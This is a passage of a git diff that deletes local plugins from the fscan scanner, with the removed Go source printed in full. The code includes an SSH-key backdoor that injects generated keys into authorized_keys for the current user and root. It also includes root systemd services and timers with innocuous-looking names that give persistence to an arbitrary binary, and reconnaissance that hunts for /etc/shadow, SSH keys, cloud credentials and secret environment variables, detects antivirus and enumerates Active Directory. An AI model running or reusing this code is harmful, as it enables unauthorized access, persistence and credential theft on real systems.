conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0xff}) { - t.Fatalf("handshake response = % x, want 05 ff", got) - } - }) - - t.Run("accepts no-auth", func(t *testing.T) { - conn := newSocksTestConn([]byte{0x05, 0x02, 0x02, 0x00}) - if err := p.handleSocks5Handshake(conn); err != nil { - t.Fatalf("handleSocks5Handshake() error = %v", err) - } - if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0x00}) { - t.Fatalf("handshake response = % x, want 05 00", got) - } - }) -} - -func TestSocks5RequestRejectsMalformedInputBeforeDial(t *testing.T) { - p := NewSocks5ProxyPlugin() - - tests := []struct { - name string - req []byte - }{ - {name: "bad reserved byte", req: []byte{0x05, 0x01, 0x01, 0x01}}, - {name: "empty domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x00}}, - {name: "truncated domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x04, 't', 'e'}}, - {name: "zero ipv4 port", req: []byte{0x05, 0x01, 0x00, 0x01, 127, 0, 0, 1, 0, 0}}, - {name: "truncated ipv6", req: []byte{0x05, 0x01, 0x00, 0x04, 0x20, 0x01}}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if _, _, err := p.handleSocks5Request(newSocksTestConn(tt.req), nil); err == nil { - t.Fatal("handleSocks5Request() error = nil, want malformed request error") - } - }) - } -} diff --git a/plugins/local/sshkey.go b/plugins/local/sshkey.go deleted file mode 100644 index 4dd744af..00000000 --- a/plugins/local/sshkey.go +++ /dev/null @@ -1,138 +0,0 @@ -//go:build (plugin_sshkey || !plugin_selective) && !windows && !no_local - -package local - -import ( - "context" - "crypto/ed25519" - "crypto/rand" - "encoding/pem" - "fmt" - "os" - "os/user" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" - "golang.org/x/crypto/ssh" -) - -type SSHKeyPlugin struct { - plugins.BasePlugin -} - -func NewSSHKeyPlugin() *SSHKeyPlugin { - return &SSHKeyPlugin{BasePlugin: plugins.NewBasePlugin("sshkey")} -} - -func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder - var successCount int - - targets := p.getTargetUsers() - - for _, u := range targets { - sshDir := filepath.Join(u.HomeDir, ".ssh") - authFile := filepath.Join(sshDir, "authorized_keys") - - if err := os.MkdirAll(sshDir, 0700); err != nil { - output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n") - continue - } - - pubKey, privKey, err := p.generateKeyPair() - if err != nil { - output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n") - continue - } - - // 追加公钥到 authorized_keys - existing, err := os.ReadFile(authFile) - if err != nil && !os.IsNotExist(err) { - output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n") - continue - } - if strings.Contains(string(existing), pubKey) { - output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n") - continue - } - - entry := pubKey + "\n" - f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) - if err != nil { - output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n") - continue - } - _, err = f.WriteString(entry) - f.Close() - if err != nil { - continue - } - - // 保存私钥到当前目录 - keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519") - if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil { - output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n") - continue - } - - output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("sshkey_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func (p *SSHKeyPlugin) getTargetUsers() []*user.User { - var targets []*user.User - - if u, err := user.Current(); err == nil { - targets = append(targets, u) - } - - // root 权限下额外注入 root 用户 - if os.Getuid() == 0 { - if root, err := user.Lookup("root"); err == nil { - targets = append(targets, root) - } - } - - return targets -} - -func (p *SSHKeyPlugin) generateKeyPair() (pubKeyStr, privKeyStr string, err error) { - pub, priv, err := ed25519.GenerateKey(rand.Reader) - if err != nil { - return "", "", err - } - - sshPub, err := ssh.NewPublicKey(pub) - if err != nil { - return "", "", err - } - pubKeyStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub))) - - privBytes, err := ssh.MarshalPrivateKey(priv, "") - if err != nil { - return "", "", err - } - privKeyStr = string(pem.EncodeToMemory(privBytes)) - - return pubKeyStr, privKeyStr, nil -} - -func init() { - RegisterLocalPlugin("sshkey", func() Plugin { - return NewSSHKeyPlugin() - }) -} diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go deleted file mode 100644 index 269ea1aa..00000000 --- a/plugins/local/systemdservice.go +++ /dev/null @@ -1,410 +0,0 @@ -//go:build (plugin_systemdservice || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// SystemdServicePlugin 系统服务插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现系统服务持久化功能 -// - 保持原有功能逻辑 -type SystemdServicePlugin struct { - plugins.BasePlugin -} - -// NewSystemdServicePlugin 创建系统服务持久化插件 -func NewSystemdServicePlugin() *SystemdServicePlugin { - return &SystemdServicePlugin{ - BasePlugin: plugins.NewBasePlugin("systemdservice"), - } -} - -// Scan 执行系统服务持久化 - 直接实现 -func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), - } - } - - // 从config获取配置 - targetFile := config.PersistenceTargetFile - if targetFile == "" { - output.WriteString(i18n.GetText("persistence_file_required") + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查systemctl是否可用 - if _, err := exec.LookPath("systemctl"); err != nil { - output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(i18n.GetText("systemdservice_header") + "\n") - output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") - output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - - var successCount int - - // 1. 复制文件到服务目录 - servicePath, err := p.copyToServicePath(targetFile) - if err != nil { - output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n") - successCount++ - } - - // 2. 创建systemd服务文件 - serviceFiles, err := p.createSystemdServices(servicePath) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n") - successCount++ - } - - // 3. 启用并启动服务 - err = p.enableAndStartServices(serviceFiles) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("systemdservice_started") + "\n") - successCount++ - } - - // 4. 创建用户级服务 - userServiceFiles, err := p.createUserServices(servicePath) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n") - } else { - output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n") - successCount++ - } - - // 5. 创建定时器服务 - err = p.createTimerServices(servicePath) - if err != nil { - output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n") - } else { - output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n") - successCount++ - } - - // 输出统计 - output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n") - - if successCount > 0 { - session.LogSuccess(i18n.Tr("systemdservice_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToServicePath 复制文件到服务目录 -func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, error) { - // 选择服务目录 - serviceDirs := []string{ - "/usr/local/bin", - "/opt/local", - "/usr/bin", - } - - var targetDir string - for _, dir := range serviceDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed")) - } - - // 生成服务可执行文件名 - basename := filepath.Base(targetFile) - serviceName := strings.TrimSuffix(basename, filepath.Ext(basename)) - if serviceName == "" { - serviceName = "system-service" - } - - targetPath := filepath.Join(targetDir, serviceName) - - // 复制文件 - err := p.copyFile(targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *SystemdServicePlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// createSystemdServices 创建systemd服务文件 -func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) { - systemDir := "/etc/systemd/system" - if err := os.MkdirAll(systemDir, 0755); err != nil { - return nil, err - } - - services := []struct { - name string - content string - enable bool - }{ - { - name: "system-update.service", - enable: true, - content: fmt.Sprintf(`[Unit] -Description=System Update Service -After=network.target -Wants=network-online.target - -[Service] -Type=simple -User=root -ExecStart=%s -Restart=always -RestartSec=60 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=multi-user.target -`, execPath), - }, - { - name: "system-monitor.service", - enable: true, - content: fmt.Sprintf(`[Unit] -Description=System Monitor Service -After=network.target - -[Service] -Type=forking -User=root -ExecStart=%s -PIDFile=/var/run/system-monitor.pid -Restart=on-failure -StandardOutput=null -StandardError=null - -[Install] -WantedBy=multi-user.target -`, execPath), - }, - { - name: "network-check.service", - enable: false, - content: fmt.Sprintf(`[Unit] -Description=Network Check Service -After=network-online.target -Wants=network-online.target - -[Service] -Type=oneshot -User=root -ExecStart=%s -StandardOutput=null -StandardError=null -`, execPath), - }, - } - - var created []string - for _, service := range services { - servicePath := filepath.Join(systemDir, service.name) - if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil { - created = append(created, service.name) - } - } - - if len(created) == 0 { - return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none")) - } - - return created, nil -} - -// enableAndStartServices 启用并启动服务 -func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error { - var errors []string - - for _, serviceName := range serviceFiles { - // 重新加载systemd配置 - _ = exec.Command("systemctl", "daemon-reload").Run() - - // 启用服务 - if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil { - errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err)) - } - - // 启动服务 - if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil { - errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err)) - } - } - - if len(errors) > 0 { - return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; ")) - } - - return nil -} - -// createUserServices 创建用户级服务 -func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) { - userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") - if userDir == "/.config/systemd/user" { // HOME为空的情况 - userDir = "/tmp/.config/systemd/user" - } - - if err := os.MkdirAll(userDir, 0755); err != nil { - return nil, err - } - - userServices := []string{ - "user-service.service", - "background-task.service", - } - - userServiceContent := fmt.Sprintf(`[Unit] -Description=User Background Service -After=graphical-session.target - -[Service] -Type=simple -ExecStart=%s -Restart=always -RestartSec=30 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=default.target -`, execPath) - - var created []string - for _, serviceName := range userServices { - servicePath := filepath.Join(userDir, serviceName) - if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil { - created = append(created, serviceName) - - // 启用用户服务 - _ = exec.Command("systemctl", "--user", "enable", serviceName).Run() - _ = exec.Command("systemctl", "--user", "start", serviceName).Run() - } - } - - return created, nil -} - -// createTimerServices 创建定时器服务 -func (p *SystemdServicePlugin) createTimerServices(execPath string) error { - systemDir := "/etc/systemd/system" - - // 创建定时器服务文件 - timerService := fmt.Sprintf(`[Unit] -Description=Scheduled Task Service -Wants=scheduled-task.timer - -[Service] -Type=oneshot -ExecStart=%s -StandardOutput=null -StandardError=null -`, execPath) - - // 创建定时器文件 - timerConfig := `[Unit] -Description=Run Scheduled Task Every 10 Minutes -Requires=scheduled-task.service - -[Timer] -OnBootSec=5min -OnUnitActiveSec=10min -AccuracySec=1s - -[Install] -WantedBy=timers.target -` - - // 写入服务文件 - serviceFile := filepath.Join(systemDir, "scheduled-task.service") - if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil { - return err - } - - // 写入定时器文件 - timerFile := filepath.Join(systemDir, "scheduled-task.timer") - if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil { - return err - } - - // 启用定时器 - _ = exec.Command("systemctl", "daemon-reload").Run() - _ = exec.Command("systemctl", "enable", "scheduled-task.timer").Run() - _ = exec.Command("systemctl", "start", "scheduled-task.timer").Run() - - return nil -} - -// 注册插件 -func init() { - RegisterLocalPlugin("systemdservice", func() Plugin { - return NewSystemdServicePlugin() - }) -} diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go deleted file mode 100644 index d3c8ccda..00000000 --- a/plugins/local/systeminfo.go +++ /dev/null @@ -1,421 +0,0 @@ -//go:build (plugin_systeminfo || !plugin_selective) && !no_local - -package local - -import ( - "context" - _ "embed" - "encoding/json" - "fmt" - "net" - "os" - "os/exec" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -//go:embed auto.json -var avDatabase []byte - -type avProduct struct { - Processes []string `json:"processes"` - URL string `json:"url"` -} - -type SystemInfoPlugin struct { - plugins.BasePlugin - output strings.Builder - session *common.ScanSession -} - -func NewSystemInfoPlugin() *SystemInfoPlugin { - return &SystemInfoPlugin{ - BasePlugin: plugins.NewBasePlugin("systeminfo"), - } -} - -func (p *SystemInfoPlugin) log(key string, args ...interface{}) { - msg := i18n.Tr(key, args...) - p.session.LogInfo(msg) - p.output.WriteString(msg + "\n") -} - -func (p *SystemInfoPlugin) logSuccess(key string, args ...interface{}) { - msg := i18n.Tr(key, args...) - p.session.LogSuccess(msg) - p.output.WriteString(msg + "\n") -} - -func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - p.session = session - session.LogSuccess(i18n.GetText("systeminfo_start")) - - p.collectBasicInfo() - p.collectNetworkInfo() - p.collectPrivilegeInfo() - p.collectPlatformInfo() - p.collectAVInfo() - p.collectSensitiveFiles() - p.collectSensitiveEnvVars() - p.collectDomainInfo() - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: p.output.String(), - } -} - -func (p *SystemInfoPlugin) collectBasicInfo() { - p.log("systeminfo_os", runtime.GOOS) - p.log("systeminfo_arch", runtime.GOARCH) - p.log("systeminfo_cpu", runtime.NumCPU()) - - if hostname, err := os.Hostname(); err == nil { - p.log("systeminfo_hostname", hostname) - } - if u, err := user.Current(); err == nil { - p.log("systeminfo_user", u.Username) - if u.HomeDir != "" { - p.log("systeminfo_homedir", u.HomeDir) - } - } - if wd, err := os.Getwd(); err == nil { - p.log("systeminfo_workdir", wd) - } - p.log("systeminfo_tempdir", os.TempDir()) -} - -func (p *SystemInfoPlugin) collectNetworkInfo() { - ifaces, err := net.Interfaces() - if err != nil { - return - } - for _, iface := range ifaces { - if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 { - continue - } - addrs, err := iface.Addrs() - if err != nil || len(addrs) == 0 { - continue - } - var ips []string - for _, addr := range addrs { - ips = append(ips, addr.String()) - } - p.log("systeminfo_iface", iface.Name, strings.Join(ips, ", "), iface.HardwareAddr.String()) - } -} - -func (p *SystemInfoPlugin) collectPrivilegeInfo() { - switch runtime.GOOS { - case "windows": - if out, err := p.runCommand("net", "session"); err == nil { - _ = out - p.logSuccess("systeminfo_privilege", "Administrator") - } else { - p.log("systeminfo_privilege", "Normal User") - } - if out, err := p.runCommand("whoami", "/groups"); err == nil { - if strings.Contains(out, "S-1-5-32-544") { - p.logSuccess("systeminfo_privilege_group", "Administrators") - } - } - case "linux", "darwin": - if uid := os.Getuid(); uid == 0 { - p.logSuccess("systeminfo_privilege", "root") - } else { - p.log("systeminfo_privilege", fmt.Sprintf("uid=%d", uid)) - } - if out, err := p.runCommand("id"); err == nil { - p.log("systeminfo_id_info", strings.TrimSpace(out)) - } - } -} - -func (p *SystemInfoPlugin) collectPlatformInfo() { - switch runtime.GOOS { - case "windows": - p.collectWindowsInfo() - case "linux": - p.collectLinuxInfo() - case "darwin": - p.collectDarwinInfo() - } -} - -func (p *SystemInfoPlugin) collectWindowsInfo() { - if out, err := p.runCommand("cmd", "/c", "ver"); err == nil { - p.log("systeminfo_winver", strings.TrimSpace(out)) - } - if out, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil { - domain := strings.TrimSpace(out) - if domain != "" && domain != "%USERDOMAIN%" { - p.log("systeminfo_domain", domain) - } - } - - if out, err := p.runCommand("netsh", "advfirewall", "show", "allprofiles", "state"); err == nil { - for _, line := range strings.Split(out, "\n") { - line = strings.TrimSpace(line) - if strings.Contains(line, "ON") || strings.Contains(line, "OFF") { - p.log("systeminfo_firewall", line) - } - } - } - - if out, err := p.runCommand("wmic", "qfe", "get", "HotFixID,InstalledOn"); err == nil { - lines := strings.Split(strings.TrimSpace(out), "\n") - patches := 0 - for _, line := range lines { - if strings.HasPrefix(strings.TrimSpace(line), "KB") { - patches++ - } - } - if patches > 0 { - p.log("systeminfo_patches", patches) - } - } -} - -func (p *SystemInfoPlugin) collectLinuxInfo() { - if out, err := p.runCommand("uname", "-a"); err == nil { - p.log("systeminfo_kernel", strings.TrimSpace(out)) - } - if data, err := os.ReadFile("/etc/os-release"); err == nil { - for _, line := range strings.Split(string(data), "\n") { - if strings.HasPrefix(line, "PRETTY_NAME=") { - name := strings.Trim(strings.TrimPrefix(line, "PRETTY_NAME="), "\"") - p.log("systeminfo_distro", name) - break - } - } - } - - if out, err := p.runCommand("iptables", "-L", "-n", "--line-numbers"); err == nil { - ruleCount := 0 - for _, line := range strings.Split(out, "\n") { - if len(line) > 0 && line[0] >= '0' && line[0] <= '9' { - ruleCount++ - } - } - p.log("systeminfo_firewall_rules", ruleCount) - } - - if out, err := p.runCommand("sudo", "-l", "-n"); err == nil { - if strings.Contains(out, "ALL") { - p.logSuccess("systeminfo_sudo", "ALL commands") - } else if strings.Contains(out, "NOPASSWD") { - p.logSuccess("systeminfo_sudo", "NOPASSWD entries found") - } - } -} - -func (p *SystemInfoPlugin) collectDarwinInfo() { - if out, err := p.runCommand("uname", "-a"); err == nil { - p.log("systeminfo_kernel", strings.TrimSpace(out)) - } - if out, err := p.runCommand("sw_vers"); err == nil { - for _, line := range strings.Split(out, "\n") { - line = strings.TrimSpace(line) - if line != "" { - p.log("systeminfo_macos_detail", line) - } - } - } -} - -func (p *SystemInfoPlugin) collectAVInfo() { - var avProducts map[string]avProduct - if err := json.Unmarshal(avDatabase, &avProducts); err != nil { - return - } - - processes := p.getRunningProcesses() - if len(processes) == 0 { - return - } - - processIndex := make(map[string][]string) - for _, proc := range processes { - name := proc - if idx := strings.Index(proc, " (PID: "); idx != -1 { - name = proc[:idx] - } - processIndex[strings.ToLower(name)] = append(processIndex[strings.ToLower(name)], proc) - } - - for avName, av := range avProducts { - var matched []string - for _, avProc := range av.Processes { - if procs, ok := processIndex[strings.ToLower(avProc)]; ok { - matched = append(matched, procs...) - } - } - if len(matched) > 0 { - p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched))) - for _, proc := range matched { - p.log("systeminfo_av_process", proc) - } - } - } -} - -func (p *SystemInfoPlugin) getRunningProcesses() []string { - switch runtime.GOOS { - case "windows": - return p.getWindowsProcesses() - case "linux", "darwin": - return p.getUnixProcesses() - } - return nil -} - -func (p *SystemInfoPlugin) getWindowsProcesses() []string { - out, err := p.runCommand("tasklist", "/fo", "csv", "/nh") - if err != nil { - return nil - } - var processes []string - for _, line := range strings.Split(string(out), "\n") { - line = strings.TrimSpace(line) - if !strings.HasPrefix(line, "\"") { - continue - } - parts := strings.Split(line, "\",\"") - if len(parts) >= 2 { - name := strings.Trim(parts[0], "\"") - pid := strings.Trim(parts[1], "\"") - if name != "" && pid != "" { - processes = append(processes, fmt.Sprintf("%s (PID: %s)", name, pid)) - } - } - } - return processes -} - -func (p *SystemInfoPlugin) getUnixProcesses() []string { - out, err := p.runCommand("ps", "-eo", "comm") - if err != nil { - return nil - } - var processes []string - for _, line := range strings.Split(string(out), "\n") { - line = strings.TrimSpace(line) - if line != "" && line != "COMMAND" { - processes = append(processes, line) - } - } - return processes -} - -func (p *SystemInfoPlugin) collectSensitiveFiles() { - var sensitiveFiles []string - - switch runtime.GOOS { - case "windows": - sensitiveFiles = []string{ - `C:\Windows\System32\config\SAM`, - `C:\Windows\repair\sam`, - } - case "linux", "darwin": - sensitiveFiles = []string{ - "/etc/shadow", - "/root/.ssh/id_rsa", - "/root/.ssh/authorized_keys", - "/root/.bash_history", - } - } - - homeDir, _ := os.UserHomeDir() - if homeDir != "" { - sensitiveFiles = append(sensitiveFiles, - filepath.Join(homeDir, ".ssh", "id_rsa"), - filepath.Join(homeDir, ".ssh", "id_ed25519"), - filepath.Join(homeDir, ".aws", "credentials"), - filepath.Join(homeDir, ".azure", "accessTokens.json"), - filepath.Join(homeDir, ".kube", "config"), - ) - } - - for _, f := range sensitiveFiles { - if _, err := os.Stat(f); err == nil { - p.logSuccess("systeminfo_sensitive_file", f) - } - } - - if homeDir != "" { - p.searchSensitiveInDirs(homeDir) - } -} - -func (p *SystemInfoPlugin) searchSensitiveInDirs(homeDir string) { - searchDirs := []string{ - filepath.Join(homeDir, "Desktop"), - filepath.Join(homeDir, "Documents"), - filepath.Join(homeDir, ".ssh"), - filepath.Join(homeDir, ".aws"), - } - keywords := []string{"password", "key", "secret", "token", "credential", "passwd"} - - for _, dir := range searchDirs { - info, err := os.Stat(dir) - if err != nil || !info.IsDir() { - continue - } - _ = filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error { - if err != nil || fi.IsDir() || fi.Size() > 1024*1024 { - return nil - } - name := strings.ToLower(filepath.Base(path)) - for _, kw := range keywords { - if strings.Contains(name, kw) { - p.logSuccess("systeminfo_sensitive_file", path) - break - } - } - return nil - }) - } -} - -func (p *SystemInfoPlugin) collectSensitiveEnvVars() { - keywords := []string{ - "password", "passwd", "secret", "key", "token", - "auth", "credential", "api_key", "access_key", - } - for _, env := range os.Environ() { - parts := strings.SplitN(env, "=", 2) - if len(parts) != 2 || parts[1] == "" { - continue - } - name := strings.ToLower(parts[0]) - for _, kw := range keywords { - if strings.Contains(name, kw) { - display := parts[1] - if len(display) > 8 { - display = display[:8] + "***" - } - p.logSuccess("systeminfo_sensitive_env", parts[0], display) - break - } - } - } -} - -func (p *SystemInfoPlugin) runCommand(name string, args ...string) (string, error) { - out, err := exec.Command(name, args...).Output() - return string(out), err -} - -func init() { - RegisterLocalPlugin("systeminfo", func() Plugin { - return NewSystemInfoPlugin() - }) -} diff --git a/plugins/local/systeminfo_dc_other.go b/plugins/local/systeminfo_dc_other.go deleted file mode 100644 index 95f83870..00000000 --- a/plugins/local/systeminfo_dc_other.go +++ /dev/null @@ -1,5 +0,0 @@ -//go:build (plugin_systeminfo || !plugin_selective) && !windows && !no_local - -package local - -func (p *SystemInfoPlugin) collectDomainInfo() {} diff --git a/plugins/local/systeminfo_dc_url.go b/plugins/local/systeminfo_dc_url.go deleted file mode 100644 index 97acb382..00000000 --- a/plugins/local/systeminfo_dc_url.go +++ /dev/null @@ -1,11 +0,0 @@ -package local - -import ( - "fmt" - "net" - "strconv" -) - -func ldapURL(host string, port int) string { - return fmt.Sprintf("ldap://%s", net.JoinHostPort(host, strconv.Itoa(port))) -} diff --git a/plugins/local/systeminfo_dc_url_test.go b/plugins/local/systeminfo_dc_url_test.go deleted file mode 100644 index 089065de..00000000 --- a/plugins/local/systeminfo_dc_url_test.go +++ /dev/null @@ -1,24 +0,0 @@ -package local - -import "testing" - -func TestLDAPURLUsesJoinHostPort(t *testing.T) { - tests := []struct { - name string - host string - port int - want string - }{ - {name: "hostname", host: "dc.example.local", port: 389, want: "ldap://dc.example.local:389"}, - {name: "ipv4", host: "192.168.1.10", port: 389, want: "ldap://192.168.1.10:389"}, - {name: "ipv6", host: "2001:db8::10", port: 389, want: "ldap://[2001:db8::10]:389"}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := ldapURL(tt.host, tt.port); got != tt.want { - t.Fatalf("ldapURL(%q, %d) = %q, want %q", tt.host, tt.port, got, tt.want) - } - }) - } -} diff --git a/plugins/local/systeminfo_dc_windows.go b/plugins/local/systeminfo_dc_windows.go deleted file mode 100644 index 9326cf71..00000000 --- a/plugins/local/systeminfo_dc_windows.go +++ /dev/null @@ -1,232 +0,0 @@ -//go:build (plugin_systeminfo || !plugin_selective) && windows && !no_local - -package local - -import ( - "fmt" - "net" - "os/exec" - "strings" - - "github.com/go-ldap/ldap/v3" - "github.com/go-ldap/ldap/v3/gssapi" - "github.com/shadow1ng/fscan/common" -) - -type domainInfo struct { - Domain string - BaseDN string - LDAPConn *ldap.Conn -} - -func (p *SystemInfoPlugin) collectDomainInfo() { - domain := p.detectDomain() - if domain == "" { - return - } - - p.logSuccess("systeminfo_dc_detected", domain) - - conn, err := p.connectToDomain(domain) - if err != nil { - p.log("systeminfo_dc_connect_failed", err.Error()) - return - } - defer func() { - if conn.LDAPConn != nil { - _ = conn.LDAPConn.Close() - } - }() - - p.log("systeminfo_dc_basedn", conn.BaseDN) - - p.queryDomainBasicInfo(conn) - p.queryDomainControllers(conn) - p.queryDomainAdmins(conn) - p.queryDomainUsers(conn) - p.queryDomainComputers(conn) - p.queryGroupPolicies(conn) -} - -func (p *SystemInfoPlugin) detectDomain() string { - // PowerShell - if out, err := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain").Output(); err == nil { - domain := strings.TrimSpace(string(out)) - if domain != "" && !strings.EqualFold(domain, "WORKGROUP") { - return domain - } - } - // wmic - if out, err := exec.Command("wmic", "computersystem", "get", "domain", "/value").Output(); err == nil { - for _, line := range strings.Split(string(out), "\n") { - if strings.HasPrefix(line, "Domain=") { - domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain=")) - if domain != "" && !strings.EqualFold(domain, "WORKGROUP") { - return domain - } - } - } - } - return "" -} - -func (p *SystemInfoPlugin) connectToDomain(domain string) (*domainInfo, error) { - dcHost, err := p.findDC(domain) - if err != nil { - return nil, err - } - - client, err := gssapi.NewSSPIClient() - if err != nil { - return nil, fmt.Errorf("SSPI: %w", err) - } - defer func() { _ = client.Close() }() - - conn, err := ldap.DialURL(ldapURL(dcHost, 389)) - if err != nil { - if ipv4, resolveErr := resolveIPv4(dcHost); resolveErr == nil { - conn, err = ldap.DialURL(ldapURL(ipv4, 389)) - } - if err != nil { - return nil, fmt.Errorf("LDAP dial: %w", err) - } - } - - if err := conn.GSSAPIBind(client, fmt.Sprintf("ldap/%s", dcHost), ""); err != nil { - _ = conn.Close() - return nil, fmt.Errorf("GSSAPI bind: %w", err) - } - - baseDN, err := p.getBaseDN(conn, domain) - if err != nil { - _ = conn.Close() - return nil, err - } - - return &domainInfo{Domain: domain, BaseDN: baseDN, LDAPConn: conn}, nil -} - -func (p *SystemInfoPlugin) findDC(domain string) (string, error) { - if out, err := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)).Output(); err == nil { - for _, line := range strings.Split(string(out), "\n") { - if common.ContainsAny(line, "svr hostname", "service") { - parts := strings.Split(line, "=") - if len(parts) > 1 { - host := strings.TrimSpace(parts[len(parts)-1]) - host = strings.TrimSuffix(host, ".") - if host != "" { - return host, nil - } - } - } - } - } - if err := exec.Command("ping", "-n", "1", domain).Run(); err == nil { - return domain, nil - } - return "", fmt.Errorf("cannot find DC for %s", domain) -} - -func (p *SystemInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { - sr, err := conn.Search(ldap.NewSearchRequest("", ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"defaultNamingContext"}, nil)) - if err == nil && len(sr.Entries) > 0 { - if dn := sr.Entries[0].GetAttributeValue("defaultNamingContext"); dn != "" { - return dn, nil - } - } - var parts []string - for _, p := range strings.Split(domain, ".") { - parts = append(parts, fmt.Sprintf("DC=%s", p)) - } - return strings.Join(parts, ","), nil -} - -func (p *SystemInfoPlugin) queryDomainBasicInfo(conn *domainInfo) { - sr, err := 